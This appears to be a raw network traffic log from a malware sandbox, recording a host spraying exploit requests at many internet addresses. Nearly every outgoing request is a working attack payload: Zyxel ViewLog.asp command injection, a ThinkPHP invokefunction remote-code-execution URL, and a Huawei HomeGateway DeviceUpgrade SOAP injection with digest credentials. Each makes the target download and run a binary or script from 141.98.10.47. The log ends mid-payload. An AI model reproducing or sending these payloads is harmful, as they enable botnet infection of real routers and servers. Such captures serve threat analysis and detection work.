Dec 26, 2023 21:25:45.225017071 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
386	192.168.2.23	43082	95.110.132.92	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:50.798197031 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:24:51.052867889 CET	156	IN	HTTP/1.1 400 Bad Request Server: Apache-Coyote/1.1 Transfer-Encoding: chunked Date: Tue, 26 Dec 2023 20:24:50 GMT Connection: close Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
387	192.168.2.23	42132	95.57.247.74	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:50.871711969 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:24:51.199947119 CET	29	IN	HTTP/1.1 200 OK
Dec 26, 2023 21:24:51.200061083 CET	515	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 Data Ascii: Connection: closePragma: no-cacheCache-Control: no-cacheContent-Type: text/html; charset=utf-8<!DOCTYPE html PUBLIC "-//W3C//Dtd XHTML 1.0 Strict//EN" "http://www.w3.org/tr/xhtml1/Dtd/xhtml1-Transitional.dtd"><html xmlns="http://www

Session ID	Source IP	Source Port	Destination IP	Destination Port
388	192.168.2.23	34472	95.65.84.186	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:51.149652004 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:24:51.428925037 CET	364	IN	HTTP/1.1 505 HTTP Version not supported Content-Type: text/html; charset=utf-8 Content-Length: 140 Set-Cookie: JSESSIONID=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; HttpOnly Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 35 20 48 54 54 50 20 56 65 72 73 69 6f 6e 20 6e 6f 74 20 73 75 70 70 6f 72 74 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 35 20 48 54 54 50 20 56 65 72 73 69 6f 6e 20 6e 6f 74 20 73 75 70 70 6f 72 74 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>505 HTTP Version not supported</title></head><body><center><h1>505 HTTP Version not supported</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
389	192.168.2.23	59802	95.165.157.250	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:51.165976048 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:24:51.471802950 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Tue, 26 Dec 2023 20:24:51 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
390	192.168.2.23	42302	95.209.154.76	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:51.199709892 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:24:51.500549078 CET	89	IN	HTTP/1.1 400 HTTP/0.9 not supported Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
391	192.168.2.23	40976	94.156.153.165	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:51.292085886 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:51.555190086 CET	140	IN	HTTP/1.1 403 Forbidden Content-Type: text/html;charset=UTF-8 Content-Length: 0 Connection: close Cache-control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
392	192.168.2.23	42432	62.29.58.163	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:51.304445028 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
393	192.168.2.23	40986	94.156.153.165	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:51.816804886 CET	140	IN	HTTP/1.1 403 Forbidden Content-Type: text/html;charset=UTF-8 Content-Length: 0 Connection: close Cache-control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
394	192.168.2.23	47332	31.220.22.146	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:51.905172110 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
395	192.168.2.23	37188	31.136.255.232	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:51.980242014 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:55.056149960 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:01.199220896 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:13.229516983 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:39.081837893 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
396	192.168.2.23	49080	94.187.157.215	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:52.149056911 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
397	192.168.2.23	54596	31.136.180.170	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:52.153177977 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:52.912389040 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:54.416126013 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:57.615724087 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:03.758819103 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:15.789148092 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:41.129579067 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
398	192.168.2.23	41144	88.99.190.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:53.766937971 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:24:54.014857054 CET	498	IN	HTTP/1.1 400 Bad Request Date: Tue, 26 Dec 2023 20:24:53 GMT Server: Apache/2.4.18 (Ubuntu) Content-Length: 304 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 31 38 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 37 32 2e 33 31 2e 31 2e 31 30 30 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.18 (Ubuntu) Server at 172.31.1.100 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
399	192.168.2.23	42336	95.209.154.76	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:54.315383911 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:24:54.621429920 CET	89	IN	HTTP/1.1 400 HTTP/0.9 not supported Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
400	192.168.2.23	57114	41.34.174.188	37215

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:56.813222885 CET	826	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 31 2e 39 38 2e 31 30 2e 34 37 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 141.98.10.47 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 26, 2023 21:24:58.447592020 CET	826	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 31 2e 39 38 2e 31 30 2e 34 37 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope 